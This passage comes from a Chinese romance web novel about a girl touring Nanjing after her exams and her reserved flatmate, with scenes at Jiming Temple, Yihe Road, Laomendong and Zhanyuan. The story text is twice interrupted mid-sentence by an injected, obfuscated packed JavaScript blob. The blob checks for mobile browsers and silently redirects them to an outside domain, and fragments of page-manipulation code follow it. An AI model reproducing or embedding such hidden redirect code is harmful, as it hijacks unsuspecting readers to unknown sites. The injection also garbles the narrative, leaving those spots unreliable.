而鸡鸣寺的樱花,则是第三次机会。它意味着:那个不可能回来的人,回来了。 可惜如今六月了,看不到三四月樱花盛放的景致。 门票呢,也有讲究。它有个好听的名字,叫“香花券”。 楚晞不是个有宗教信仰的人。但国人嘛,什么有用信什么,不知道有没有用,那就先拜着再说呗。 求财,求子,求健康,求事业……方方面面它都管着。当然,也包括姻缘。 但网上都说在鸡鸣寺求姻缘,一去寡三年。 楚晞有点儿慌。 “我都还没谈过恋爱呢我,再寡三年,那我岂不是到21岁还母单?” 她激情给闺密发语音。 夏江南:“怕什么。听说它斩孽缘,扶正缘。你寡着,说明遇到的男生不是你的良人。实在怕,你就别求呗,求求高考分数求求理想大学得了。” 有道理,有道理。 从药师塔出来,阶梯往上,可以凭“香花券”免费领三炷香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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遵循这个原则,她又开始打字:[你在干什么呢?] 他回:[有事?] 江岁羽是被活活冻醒的。连打几个喷嚏,没有消停的趋势,他抽了两张纸巾到客厅找药盒。显而易见,药盒空了,只能作罢。 期间抽空回了列表的消息。 彼时还在网络上活跃着的,只剩在高考这场战役中获胜的那批人。估完分没考好的,压根不会在群里或是任何其他地方乱窜。 来找他,无非两件事。一是约球,二是问分。 现在多了第三种。 楚晞。 说不清她什么目的,反正莫名其妙造成了他这儿每天热热闹闹的假象。 前两天还心存戒备把他当坏蛋,如今他的形象不知为何突然就光明伟岸了起来。 都说女人比较善变。 他现在有点悟了。 灌下了一杯热水,他慢慢走回去,准备掀被子躺下把汗闷出来。 [准备睡觉] 楚晞:“……” 他真的过得很醉生梦死。 早上她出门时,他在睡。晚上回去,他还在睡。一天到晚闷在家里,有这么闲,还不如跟她一起逛呢。 当然,她也只敢在心里叨叨。 楚晞:[晚餐打算吃南京烤鸭] 楚晞:[就是想问问] 楚晞:[作为本地人,你有什么推荐的店吗?] 江岁羽几乎秒回。 [楼下那家。] ??? 楚晞:[哪里的楼下?] 江岁羽:[?] 江岁羽:[我现在站的地方。] 楚晞沉默了。 [你说那个连招牌都没的破店,是全南京最好的鸭店?] 鸭子,店。 两秒后。 江岁羽:[严谨点,是卤店。] 楚晞:[……] 楚晞:[你诓我。] 楚晞:[怎么可能?] 楚晞:[你是不是不想告诉我?] ??? 江岁羽:[……?] 江岁羽:[天王老子来了都是楼下的最好] 4. 04颐和路 吃南京烤鸭有讲究。 鸭子都是一整只一整只烤好后放在店里的,要多少切多少。 跟老板交涉的时候,最好不要讲“要1/4只”这种一听就不地道的话,没准儿人蔫坏就会坑你。一般来说,直接简短地告诉老板需求就可以了:前脯还是后腿,搭鸭脖还是鸭头? “前脯,搭鸭头。”楚晞利落地说。 当然,她不可能无端知道这么市井和日常的对话。一切的一切,多亏了江岁羽的指导。 老板下刀极快,切得又均匀,砧板上传来极富节奏感的声音,没半分钟,烤鸭就装盒完毕。 聊天界面的对话还停留在半个多小时之前。 楚晞:[你要吗?我买的时候顺带你一份?] 江岁羽略微考虑了几秒:[麻烦了。] 难得他没有拒绝,于是楚晞想也不想:[不麻烦不麻烦!] 此时,她一手拎着今天买的东西,一手长摁发语音。“咻”一声出去,等了一分钟,却丝毫没有收到回应。 “那辣油分装吧,谢谢叔叔。”她对老板说。 …… 正是饭点,楼里楼外弥漫着一股香气。 楼层间的中间平台半开着窗户,黄昏朦胧地斜过来,一只狸花猫团在窗缝上,见有人步伐雀跃地靠近,欻地跳到别处。 楚晞哼着起源于南京的民歌调儿,空出只手掏钥匙开门。 “好一朵美丽的茉莉花。” “芬芳美丽满枝丫。” “又香又白——” 开门时,她没有想到屋里这个人,这会儿也恰是又香又白。 楚晞的声儿一下子没了。 江岁羽还在用毛巾擦头发,滴下来的水珠顺着如同山脉迭起的喉结幅度,没入锁骨之下的领口。因为抬手擦拭的动作,衣角上蹭,露了点块状分明的腹肌。 他,大概刚洗完澡。 她硬着头皮盯着瞅了两秒钟,不自觉咽了咽口水,再看了一眼又飞快埋头。 草草一眼,不太清晰。 肯定是天儿太热了,否则为什么她的脸皮烫得能煎鸡蛋。她往上吹了几口气,一边将黏在颊上几缕汗湿的碎发吹散,一边把七上八上的念头吹走。 高中班上那群男生野完回来,一个个拎起衣角下摆就擦脸上的汗水……跟他们比起来,也没有什么特别的啊。 好像……又挺特别。 江岁羽见她杵在原地半天没动静,带着浓重的鼻音,出声把人叫醒:“想什么?关门,蚊子多。” “哦……” 这是他们俩头一次在同一张饭桌上共进餐食。 江岁羽似乎奉行食不言寝不语的准则,一句好话都吐不出来,看着誓要沉默到底。 但是楚晞憋不住,这种情况下没有三言两语比杀了她还难受。 她对什么都感到好奇。 把她颅内的想法落到现实里来,估计个个都是uc的震惊体:惊!南京烤鸭有卤汁!惊!烤鸭不用包面皮吃! “我给你发语音,你听了吗?” 江岁羽筷子一顿:“什么时候?” “刚才。” 他顺手捞过手机,点开未读消息,就这么堂而皇之地公放出来,继而嘴角一抽。 “鸭子…zan好了,你…啊要辣油?” 唇齿和舌头似乎不太熟悉,跟挤牙膏似的,一个字一个字调整好音节,乱七八糟地往外蹦。 “怎么样?我学得像吧?”当事人却沾沾自喜地很有自信,“方言,也没那么难嘛!” 沉默。一阵沉默。 江岁羽的唇角悄然弯了一个弧度,紧接着是眼睛。头都偏了偏,往下垂了几分。 最后终于忍不住,彻底偏开头在笑,连脖颈都笑到在颤抖。 “你笑什么?不像吗!” “不对,你居然笑了!” 他笑起来真好看。眼睛弯弯的,眯成一条,隐隐约约看见他好像有虎牙。 不过也就十几秒的事。转瞬间,他就恢复了一副不苟言笑的脸。 “你看!你就是因为不笑的样子像冰块,才把自己冻感冒的。”楚晞说。 哼哼,好冷的冷笑话,冷得他感冒又重了几分。 江岁羽对此嗤之以鼻。 烤鸭皮脆而不焦,烤出来呈枣红色,表皮裂出漂亮的纹路,咬上去是脆脆的。而鸭肉则鲜嫩多汁,蘸上特制卤汁,甜中带咸,咸中带鲜,尝起来一点儿都不腥。 多出来的卤汁浇到米饭上,超级下饭。 楚晞扒完一碗,心满意足地宣布:“你没诓我。” “我没那么闲。”他表情淡淡的,不以为意。 “你可以有点其他情绪吗?”楚晞捧着下巴颏看他认认真真地收拾桌面,抽纸跟不要钱似的一张张往外拽。 “比如?” “比如,生气什么的。” 她心说,你在日记里情感可太丰富了,现在现实里的这个像假人。死装的假人。 但偶尔不经意泄露的一点真实就足够生动。 “我有什么可气的?” 她回答得很快:“要是我玩梗呢?” “什么?” “南京是六朝古都,十朝都会,但三省省会。” “哦。”他压根没反应,仿佛一点不在意,“换一个吧,这个攻击力有点弱,我听麻了。” 楚晞:“……” 楚晞:“这儿天儿热得像蒸笼。” 江岁羽游刃有余地反问:“四大火炉之一,知道你还来?” 楚晞说:“你们高考数学没有选择题。” 江岁羽稳当地擦完桌子,抱臂轻描淡写地“嗯”了一声。 楚晞:“番茄味的鸭血粉丝比较好吃。” 他觑了她一眼,嘴角微扯:“那玩意能吃吗??” 楚晞使出杀手锏:“南京烤鸭不如北京烤鸭。” 他盯着她看了半晌,无语到头一偏,舌头抵了抵腮,没忍住“嗤”了一声,竟是又笑了。然而似乎是讥笑。 “那你别吃,吐出来。”须臾,他垮着脸道。 这算是破防吧? 楚晞“噗”地笑出来,越笑越过分。 “不是,没有,哈哈哈哈。”她断断续续地把音节连成一句话,“我开玩笑的!个人口味来讲,我更喜欢这边的!” “你好有趣啊,江岁羽。” …… 江岁羽不知道自己好玩在哪儿。 李炎这么评价他:太会做表面功夫,接触过后任谁都觉得他是个有点距离的好人,却很难让人有彻底深交的欲望,因为这个时代大部分人都没太多耐心和时间。 也正是这样,他始终游离在组建的新家庭之外,但面上又做的比谁都得体和完美。乃至高考后不回家,也没人怀疑有什么不对。 然而李炎还有一句话,被他彻彻底底地忽略了。他这个人,江苏语文培养出的风花雪月的文人情调全用在他的内心戏上了。 …… 楚晞晚上本不打算出门。 白天走了几万步,她肩背已然塌了,四肢跟退化了一般犹如千金般沉重。 但江岁羽手摸上门把的那刻,她还是兴致勃勃地问:“你出门啊,去哪儿?” “散步。”他言简意赅。 稀奇,稀奇。 楚晞拔下充了一半电的手机,“我也去!能不能带带我?” “你白天走得不累?” “是有点。但本地人引路,机会比较难得嘛。”她问,“所以,咱们逛哪儿?” 咱们。 瞧瞧,她多会顺杆儿爬。 “随你。”他在心里无声叹了口气。 生怕人觉得自己有拐卖的心思,他只在附近走走。好巧不巧,这座城市十步一景点。当然,是夸张的说法。 一路楚晞叽叽喳喳就没停过。 聊天自然要从自己开始扯起。 “……今天在鸡鸣寺上香被烫到了,但查了一下,发现这算是好事!不幸中的万幸!” “我从小就喜欢这里,感觉这儿有很多很多故事,孙权的建业(建邺)大志,辛弃疾的江南游子,把吴钩开了,栏杆拍遍,无人会,登临意的感慨,还有红楼……” “哎对了,你学校不远吧?我可以参观参观吗?” “说到这个,你高考考得怎么样?咱俩一届,蛮有缘哎!” 江岁羽及时打断:“还行吧。” 他要是再不插上一嘴,这姑娘迟早把家底透露光的同时,再来查一波他的底儿。 常言道,帅哥只能加分101,帅哥型学霸才能+10086. “还行”?? 这算什么。 沿着江苏路没多久,拐个小弯,就是那条鼎鼎有名的颐和路。一条路都是上世纪叫的出名号的名人故居。 青瓦黄墙,洋房坡顶,别院小榭。 高大的枫杨树遮天蔽日,道路两旁栽种繁茂的梧桐,俨然是一条绿色长廊。落日余晖洒下,叫人不自觉在树荫下斑驳的阴影中迷失。 自行车铃时不时闪过,昼日浮华,南京的前世今生都藏在这里。 楚晞亦步亦趋地跟在江岁羽身后半步的位置,好奇地左右张望:“好宁静。” “是么。”江岁羽慢慢悠悠地走着。 其实是热闹的。这条路车流如织,三五人群,飞虫嗡鸣,连路边极有氛围感的路灯都仿佛在低语。 “不是说声音啦。”她想了想说,“是有种能让浮躁的心静下来的魔力。” “我以前——” 江岁羽站在棵枝繁叶茂、盘虬错节的梧桐树下,想起什么似的有感而发。昏黄路灯的光打下来,错错落落地映在他脸上,勾勒得轮廓很温柔。 声儿没了。 “你以前……?”楚晞追问。 “没什么。”他止住话头,不再多谈。 可想而知,楚晞整个人像蚂蚁在身上爬一样难受。哎不是,这种人怎么想的?你话说一半,知不知道,会把某些人譬如她给急死。 “什么没什么,一定有什么!”她双手抵着太阳穴,“你不说我今晚就会一直想,一直想就会睡不着。睡不着到明天就会精神萎靡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717582|173788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万一萎靡到出门恍惚不看路出意外……好可怜啊我,我怎么办?” 江岁羽无语凝噎:“……” “你说啊。”楚晞坐在了马路牙子上。 “也没怎么。” 他终于屈尊开口:“小时候,长辈告诉我,这条路上住的都是大人物。我呢,有点好奇,就傻了吧唧地挨家挨户敲门,再悄悄躲起来,等人开门一睹风采。” “然后呢?” “没有然后。当然没有人会为我开门。” 颐和路公馆区的名人旧居,有的不对外开放,有的变身为博物馆,有的成为书店,有的变成咖啡馆…… 想象一下他挨个敲门结果碰一鼻子灰的窘迫场面,楚晞双臂抱膝,把头埋进去狂笑。 好可爱……! 可爱?后知后觉才发现自己用了这个词,楚晞质疑了下自己,随即发现没毛病,又心安理得捧着脸仰头看他。 他就那么懒懒散散站着,单手摸了摸鼻子,看上去有点儿不自然。大概,是觉得十多年前自己的确做了糗事。 啧,酷哥的自我修养。 “你真的很有意思。”她又一次这么说。 江岁羽倒觉得更天马行空的是眼前这位。 这姑娘很快发现自己随便坐的马路牙子是网红景点。那棵众多游客齐刷刷打卡合影的歪脖子树,就在自己身后。 她弹跳起来,仔仔细细地确认了一遍。 没毛病。 “江岁羽!”这个语气,多半有事相求。 他洗耳恭听。 她解锁手机,打开相机功能后,麻溜地递过来:“请你帮我拍一下。” 天色暗下来。四方的路灯发出亮黄的光,映衬在黄色的墙壁上,衬出旧时光的氛围。光圈里围绕着一圈圈的小飞虫,夏夜的热风吹拂在脸上,裙摆被风掀起弧度。 江岁羽按照指挥,依言捧手机退到马路对面,直到她和树在一个画框里。 楚晞其实不太会摆照片姿势,定格的话会显得她人很僵硬。 “麻烦你录视频。”她喊了一声。 这样的话,她可以从视频里慢慢截图。 他比手势。 3. 2. 1. 镜头里,只有一盏灯,一堵墙,四扇窗,一棵树。 以及一个人。 一个裙摆飞扬的女孩。 角度背光,其实看不太清面容。 光影映在少女的衣摆上,舞步轻扬,马尾一晃一晃,转个圈儿,跟丝带似的划出优美的弧线,旋转了整个夜幕。 她转那么多圈都不晕一下的。 甚至兴冲冲地跑过来,看成品。 “呜,直接发视频到朋友圈吧!” …… 回去路上,江岁羽终于记得出门的主要目的,是为了买感冒药。 不知为什么,明明他才是引路人,却一直被带着走。 他从药架上拿下包装盒,付钱拎袋子走人。半途,想了想,又折了回去。 …… 楚晞这回是真的累得够呛。 她发誓明天会躺上半天。旅行也得徐徐图之,一口气不能看完所有景点吃成胖子。 洗澡,洗头,吹头,收拾,一套流程下来累上加累,硬生生霸占浴室半个多小时。 白天被烫伤的虎口,隐隐约约有起泡的趋势。她碰了碰,有点疼,只能安慰自己,这都是为了美梦成真牺牲的代价。 出来时,屋内一片寂静。只有窗外不知在哪片草丛栖息的夜虫还在孜孜不倦地探讨着今晚这轮月亮。 江岁羽好像已经睡了。 楚晞轻手轻脚溜回房间。 兴奋过头,神经细胞还处于极度活跃的状态,她一时半会儿难以入眠。 又到了每日准点读日记时间。 发展着,发展着,就和童年时期入睡前需要父母讲故事差不多了。她每晚必须要看一篇他的文字,才能放心合眼。 他同意了的,她可以翻! 「5.20晴 有点狗血的是,生日和这个不算情人节的情人节在同一天,以至于什么人送礼物都很奇怪,无论男女。 李炎之前问我,为什么对恋爱毫无兴趣。 我想是因为我爱自由。 以及在这个现实世界,再难有荒诞主义的同谋。 凌晨两点如果我说去颐和路散步吧 会觉得我是疯了 还是跟我走」 “咚咚——” 读到最后一句时,门被叩了两声。 楚晞回过神,应了问句“谁”。 回复即是逐渐远去的趿拉拖鞋声,以及隔壁房间的关门声。 这是做什么? 楚晞耳朵贴门上听了会儿,确认好情况,才慢吞吞打开观察。 什么嘛! 客厅黑灯瞎火。 正要缩回去,眼睛一瞥,一个不知从哪儿冒出来的塑料袋挂在门外把手上。 她迟疑地取下来,把袋子解了。 里面静静躺着一只烫伤膏。 5. 05老门东·瞻园 六月中旬,正式进入南京的梅雨季。 楚晞一觉醒来发觉有点闷。小雨淅淅沥沥地打在玻璃窗上,外面的梧桐叶被淋得更加青翠,几辆电瓶车冷冷清清地停在居民楼下。 她揉着头发拉开房间门,眼尖地瞧见江岁羽坐在客厅,一个哈欠还没打完,半张着嘴愣在原地。 “啊…你这么早?” 这话讲出口她才察觉此刻自己模样糟糕,于是立马在他瞥过来前,胡乱地把翘起来的呆毛抚平。 江岁羽抬了抬下巴示意墙壁上的挂钟,感冒听起来好了大半:“十点了。” ……才十点而已。 她上午又没有出行计划。 等等,十点?? “完了!又完了!” “人的记性怎么能这么差?”楚晞肩背一垮,整个人瘫在门框上,随着重力往下滑,两眼一□□,“八点抢,我给忘了,现在肯定没了……” 江岁羽适时出言提醒拯救她。 “别死盯着八点,下午三四点公众号会偷偷放票,捡漏成功概率很大。” “真的吗?”楚晞一把鲤鱼打挺站直了,后知后觉地迟疑问,“你怎么知道我要去遇难同胞纪念馆?” 他的表情一言难尽:“不好猜吗?” 从来这儿的第一天就开始抢,到今天还没成功约上。这手速,这运气……怎一个“衰”字了得。 下午一点原定是去瞻园拍写真。 写真店在老门东,楚晞提前几天就预约好了时间去做妆造。 不过今天窗外的小雨缠缠绵绵地就没停过,这天气真能进行外景拍摄吗?她在心里默默画了个叉,已然计划好要留在屋里宅上一天。 哪知群里摄影师姐姐信心十足地发来消息:[拍!能拍!瞻园就是雨景才出片!] 既然如此,她便收拾东西整装待发。那里没有直达的公共交通,下来还得走一段,楚晞一边查看导航看怎么出行比较方便,一边在玄关换鞋。 哪成想,江岁羽也要出门。 他披了件黑色的冲锋外套,拎上头盔,好一副帅到生人勿近的模样。 楚晞蹲着,被他站直身体的阴影笼罩着,她仰头不免好奇问:“你去哪儿?” “回家一趟。”他说。 “冒昧问一句,你家在哪儿?” “怎么?你户籍警?” “……?” “河西。”他突发好心告诉了她。 河西? “我去老门东,和你顺路吗?” “……嗯。” “那我能蹭蹭你的车吗?”楚晞指了指他手里转了圈的车钥匙。 得寸进尺。 江岁羽脑子里冒出这个词的时候,却已经不受控制地脱口而出:“随你。” “谢谢!!” “……” 外面毛毛小雨已经停了。梅雨天就这样,天气没个准信,说变就变。 江岁羽骑在摩托车上,长腿蹬地,屈肘瞧她扯头发和头盔的绑带,慢慢悠悠的,像在猫在挠毛线,一会儿松两下,一会儿又箍紧。 “我知道你很急,但你先别急……”她碎碎念。 他像是忍耐不了,终于伸手,指尖穿过她头发,利落地给她整理好。 楚晞终于上了车。 她还是头一次坐机车。车身线条流畅,金属光泽闪耀,整个透露出不羁和自由的气息。 “江岁羽,你应该是……有证驾驶吧?”她欲言又止地问。 引擎声一响,轰鸣声低沉。 楚晞被加速度带的往后一仰,手指情不自禁抓住了后座,听得前面吊儿郎当的声音随风传来:“现在才问,晚了。” “……?”救命啊!! 经过几天暴晒的洗礼,温度终于开启了满三十五减五套餐。车从巷子口驶出去,平日里热闹的街景阵阵倒退,发潮的空气混着他外套上似有若无的清冽气息进入她的鼻息,心似乎都变得轻盈起来。 速度越来越快,风灌得衣摆下角满满鼓起,楚晞兴奋地血液疯狂奔涌。 “你看你看,我从来没见过这么大的红绿灯!” “难道其他地方不这样?” “才不是!只有南京是这样的!” 她对一切新鲜事物都充满好奇,连掩藏在梧桐树丛里的巨型交通信号灯都要拿出来感叹一番。 颊边几缕碎发飘扬起来,楚晞略偏了头撩了下,转瞬又发出惊叹。 “你看你看,是北京东路!” 江岁羽淡淡嗯了声:“这又怎么。” “这不是普通的北京东路,是我歌单里的北京东路!” 他向后掠了眼,好像是从喉咙里闷出了声笑。 “嘲笑我?你没听过《北京东路的日子》吗?很有名的,毕业季金曲啊!我们班艺术节就唱……” balabla……话一开个头,就刹不住车了。 楚晞的眼眶被吹得发痒。她难以形容这种感觉,两侧是成群的绿树,前头是少年削薄的脊背,围绕着的是无形自由的风。 一种很奇妙的感觉。 以至于,她情难自已地,悄悄抓住了少年的衣摆。 这会儿心好像也有点痒。 “开始的开始,我们都是孩子。” “最后的最后,渴望变成天使。” “歌谣的歌谣,藏着童话的影子。” …… “当某天,再唱着这首歌,会是在哪一个角落。” “……” “也许谁都忘记谁的名字,但记得——北京东路的日子。” 一开始唱的声音很小很小,但她很快被胸腔里密密麻麻敲响的鼓点带着,跟着合奏的呼啸风声释放起来。 楚晞抬眼,忽然被歌曲营造的氛围带的有点儿伤感。 过了这个暑假,各奔东西后,真的谁都会忘记谁的名字吗? …… 十五分钟的车程,老门东到了。 “去吧。”江岁羽发动油门,准备走了。 “你能不能——”楚晞摘了头盔,看向江岁羽,有点儿心虚地问,“能不能,回来的时候再顺带我回去?” “……” “我付你顺风车费!” 他的表情太浅显易懂了,就差没把“我是你司机?”这个问句写脸上。 识时务者为俊杰,楚晞果断认怂:“咳咳,不方便就算了,我打车——” “看情况。” 他撇过脸,油门一加,风里只剩这句的回声。 看、情、况。 看情况,就是有机会咯! 老门东是一条穿越时空的街巷。一步一景,人间烟火。 凌霄花在微风中静静摇曳着。 石板路、旧花窗、古牌坊,灰墙黑瓦,明清韵味。 楚晞心情愉悦地咬着梅花糕进到写真店里,妆造姐姐递图供挑选风格,唐风,宋制还是明制?挑花眼了都。 她把相中的几种,发给夏江南问意见。 想了想,全选图片打包再发给江岁羽。 …… 河西繁华是繁华,可惜无趣。一眼望过去就是一字排开形状相似的方格大楼,除了双子塔外,千篇一律。 地上有轨电车缓缓而过,江岁羽终于抵达目的地。 今日主线任务是家里吃饭,支线任务是劝学。 他有个同父异母的妹妹,马上要小升初。鸡娃长大,这会儿,正犯考前综合征。 该说不说,学习好坏这玩意儿真就不按常理出牌。 他小时候父母就离异了,父亲那会儿正是事业关键期,他便一直处于放养状态,就没被什么人管过,初中开始独立租房读书,就这么学学成绩也还过得去。反而,这被鸡娃的到最后也显得不是那么很靠谱。 饭桌上,不出意料问到什么时候搬回来住。 江岁羽顿了下,说:“过段时间。毕业典礼还没办,住鼓楼方便。” 有理有据,连他爸都不好说什么。 可是过段时间再过段时间,不也就顺势住进大学宿舍了? 饭后,他看着小孩复习。 其实倒也没什么好指导的,只稳了稳她心态,这小女孩在他面前乖得像鹌鹑,跟某位擅长“你让一尺,我进一寸”的女生大相径庭。 楚晞:[你觉得哪张好看?] 得空回这条消息时,已经过了俩小时了。 江岁羽乍一眼看过去,都差不多。这也值得纠结来纠结去? 他拍了拍小朋友:“哪张好看?” 小女孩对于“美”的体感很朴素。就要那花里胡哨,配饰最多,最亮最闪,颜色最鲜艳,看起来最扎眼的——最符合想象中的公主形象。 江岁羽把观点转达给楚晞,然后得到了长达八秒的哀嚎语音。八秒,只包含一个字,语气却是层叠起伏。 “啊。啊?啊……啊!” 楚晞:[可我选了另一个!] 楚晞:[我都已经在瞻园拍上了!] 江岁羽:[刚手滑] 江岁羽:[其实是这张] 楚晞:[…好敷衍!] 楚晞:[你一敷衍,我就会一直想这事,一直想就会心不在焉,万一心不在焉到回去路上恍恍惚惚不看路出意外……好可怜啊我,我怎么办?] 江岁羽:[……] 瞻园,与苏州拙政园等并称江南四大名园,也是金陵第一园,因欧阳修“瞻望玉堂,如在天上”而命名,内有太平天国历史博物馆。《新白娘子传奇》有在这儿拍摄取景。 古代服装穿起来略微厚重,尤其头上戴了玉冠,重得快把人压垮。楚晞被摄影姐姐指导了八百个动作,额上密密麻麻全是汗滴,终于被放休息一会儿。 这会儿雨滴已经豆大了,雨后的亭台楼榭有种晕眩的美,此刻南京不是南京,而是金陵。 她瞧着闻名遐迩的北宋太湖石,心里却在小人打架:还不回消息,还不回消息,这个省略号侠! …… [知道了] [等着,去接你] 消息姗姗来迟。 楚晞心满意足地被摄影姐姐拉回去继续摆拍。 手段不光彩,也没什么新意,但胜在他就吃这套,好用啊! 他其实蛮好说话的嘛。 赶在雨势渐大之前,楚晞回到了写真店,相机图片导到电脑里,需要她选五张片让摄影师精修p图。 又纠结死一个选择困难症患者。 直视镜头还是不看镜头?左侧脸还是右侧脸?撑油纸伞还是执团扇? 她捧着下巴掏出仅剩些许电量的手机,又开启微信传图求助朋友模式时,忽地听到旁边恰逢其时地“叮”一声提示音,偏头一看,男生一身淡淡湿意地出现。 妆还没来得及卸,假睫毛贴着又痒又阻碍视线,她眨了眨眼睛仰视着:“江岁羽,你怎么这么快回来了?” 他撇开头望向别处:“没什么意思。” 楚晞美滋滋。换句话说,跟她在一块儿就是有意思啦! 想来国风写真馆应当是鲜少出现他这样的年轻帅哥,店里无论是摄影师还是化妆师都齐刷刷地看过来,恨不得把他押着成为客户。 自然而然地,他被楚晞扣下来一起选图。美其名曰,尊重多元审美,力求不谋而 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楚晞仔细一想,记起自己看到过南京有公交车的终点站叫“随家仓”,于是有点好奇地问:“这是个景点吗?有机会我去看看。” 他悠悠扫过来的眼神更奇怪了。 楚晞:“怎么?有什么问题吗?” “随家仓站,只能到两个地方,”他扬了扬下巴说,“脑科医院,精神病院。” “你既愿意去看看,那我没什么问题。” “……”淦!! 他整个笑得不行,什么坏心情这会儿都被冲垮散了,只剩欠了吧唧的笑。 楚晞气鼓鼓地打开公众号守株待兔。 没成想,还真能捡着漏。有余票。她往里输入观众信息,能瞧见江岁羽的预约个人信息。 哦……他也常去。 她在心里哼了声。 也正是这一声,让她不小心手指触到他的信息,把他给勾上了。简而言之,预约成功,但是把他也带上了。 楚晞认错很快:“怎么办,能退吗?” “你只退一个人的试试。” “退不了。” “……” “我好不容易抢到的。”楚晞可怜兮兮。 “……” “你愿意和我一起去吗?” “……” 傍晚,老门东渐渐热闹了起来。有很多铺子,剪纸,姓名写诗,调香,画扇……美食的香气飘散而开,勾得楚晞在回去前饱餐一顿。 街景亮起了灯。 江岁羽扔了他的外套给她:“晚上风大,我可不对你感冒负责。” 他身上只剩了件黑色短T。 “哦…”她说,“谢谢。” 外套尺码很大,掩到了大腿,穿到身上显得松松垮垮,像小孩儿偷穿大人衣服。拉链拉到顶端,她把下巴埋进去,有一股说不出来的清冽气息,像沐浴露,又不像。 机车驶过,滋起地上沟壑的水花,城市霓虹倒退,一秒一景。 如果行至中途没有遭遇天气突变的话,她想她会称赞今天的行程完美。 一阵雷闷闷地劈下来,雨势忽地变大,逐渐成倾盆之势,闪电在天空炸开。 区区十秒,已成落汤鸡。 这种狂风暴雨中飙车的经历堪称人生独一份,楚晞安慰自己,只要还有命在就行了。 “你冷不冷?” 太嘈杂了,她几乎是用喊出来的方式。 他没说话,可能没听到。 即使对自己的小命很是担忧,但楚晞想,至少目前还是安全的,快到了,就快到了。 已经湿透了,算了,不躲了。 这种时刻,反而更接近风和自由。 终于到达出租屋楼下,在车棚,楚晞摘下头盔,捋了捋湿掉的发尾,拍了拍自己,有种劫后余生的错觉。 “其实我还蛮喜欢极端天气的,尤其是在上学的时候。” 江岁羽抖了抖身上的水:“嫌淋得不够多?” “不是啦。”她说,“外面阴云密布,狂风大作,树快被摇倒,像是世界末日。教室的窗帘被吹得四处飞,然后一道闪电劈下来,全班同学一起‘哇’,感觉这样的时刻是我苦痛高中为数不多的美好回忆……” 一说起来,又是balabla个没完。 车棚外,水坑遍地,暴雨似乎要淹了这座城市。 楚晞蹦蹦跳跳地踩水坑,溅起来的水花像雨中炸开的烟花。她顶着他的外套,回头对江岁羽说:“反正都湿了,我早就想这么干了。” 人嘛,活着活着也只活那么几个意义非凡的时刻。 她不再纠结了。即使过了这些天,谁都会忘记谁的名字,但这些瞬间也是真实存在的。 每一个,都独一无二。 于是,在洗完热水澡,喝完999感冒灵后,楚晞翻着日记给夏江南打电话。 「7.7雷阵雨 为完成暑期实践作业,去瞻园参观,路遇暴雨,躲雨,出太阳。 先“大雨焯水”,再“大火收汁”。 有点烦。 但想了想,狂风暴雨是逃离格式化生活后短暂狂欢,我原谅了这个世界。」 “喂,楚楚?” 夏江南悠闲地打了个呵欠。 在听到下一句话之前,她都是那么地稳重。 在听到下一句之后,她拄着拐杖也能摔个狗吃屎。 “好想表白啊好想表白啊好想表白啊!!!” “……???” 6. 06遇难同胞纪念馆 磁场是一种很神奇的东西。 每个人去往他人的世界都需要有一张通行证,对于楚晞来说,这张通行证指的是“相同的频率”。 “怎么说呢,”她也觉得这种感觉很奇妙,“我觉得,他能懂我的想法。” 就像他写的那样,凌晨两点说去颐和路散步,有人会认为是发疯,有人会觉得很浪漫。人是不同的,所以对任何事情的感受也不同。 “如果这个问题是问我。”楚晞在床上打了个滚儿,“我就会因起床气蛐蛐他一顿然后说:走,现在就出发——” 夏江南听了半天还是无动于衷。瞧瞧吧,这就是典型的不同频的人。 “总结一下,就是你在短短几天之内,crush上了你的合租室友,并且情难自已无法自拔……” “停停停。你用的词太夸张了。”楚晞打断。 夏江南:“可得了吧。crush这种东西不就是上头的产物,你冷静下来就会觉得这男的也就这样。” “不一样嘛。”楚晞小声辩驳,“我在地铁里看见口罩帅哥也会哇噻啊,照这种说法,我一天之内可以crush三四个男的。可是我又很容易下头。但已经过了好久了,我还没产生下头的感觉,足以证明不一样!” “好好好。”夏江南给她分析,“心动是人之常情,但是得考虑考虑后果。你看啊,你还不够了解他,很多方面都还不知道呢!咱们班上小情侣高考完都全是分手拜拜的,你这个……还是异地,看着就挺不靠谱的。” 嗯,有点道理。 “总之,你先克制住!” “表白什么的给我剔除脑后!” “再怎么着也得对方主动啊!矜持!矜持!” “哦……”楚晞很听劝,她抿了抿唇,把头埋进枕头里,呜咽了几声,“可他对我又没感觉……” “什么??”夏江南气到了。 “这破男人什么眼光啊!不识好歹!” 感谢闺蜜。 因为即使有时候在对方眼里,她不太像是个人。这是一种抽象的形容。 但是呢,她在她眼里,绝对是个永恒的美女乃至仙女。 - 雨还是没有停。 整座城市雾蒙蒙的,透着闷。 偶尔淋雨是狂风中的自由,天天淋雨就是纯有病了。出门前,楚晞对着自己带的一把小伞皱着眉左看右看,还是觉着不合适。 这颜色太花了。不行。 她今天可是特地穿了一身素色。 可她又没别的伞了。 “江岁羽——”她探头出去瞧了瞧。客厅,不在;厨房,不在。 “叫我干什么?”他拉开卧室的门,漫不经心地问。 “快点快点。”楚晞招呼他,“咱们要出发了!” 谁跟你“咱们”了? 他看了两眼楚晞,歪过头去:“我不去。” “那不是白占一个名额吗?对那些想约却约不上的人来说多不礼貌啊。为什么不去?” 江岁羽扬扬眉:“我确定,这是你给我约上的,不是我自愿。” “而且,”他静静看着她,沉寂了会儿又说,“而且,去过之后,今天没心情再做别的事了。” “啊?为什么?” 他没过多解释,只嘱咐了句:“多带点纸巾吧。” “一直带着呢,擦汗擦灰擦雨水,够用的了。”她认为自己一向很靠谱。 江岁羽:“……” “那你如果不去,伞能不能借我用?”楚晞指了指玄关旁放的那把透明伞,又递出了自己的那把,“你有事要出门的话,用我的。” 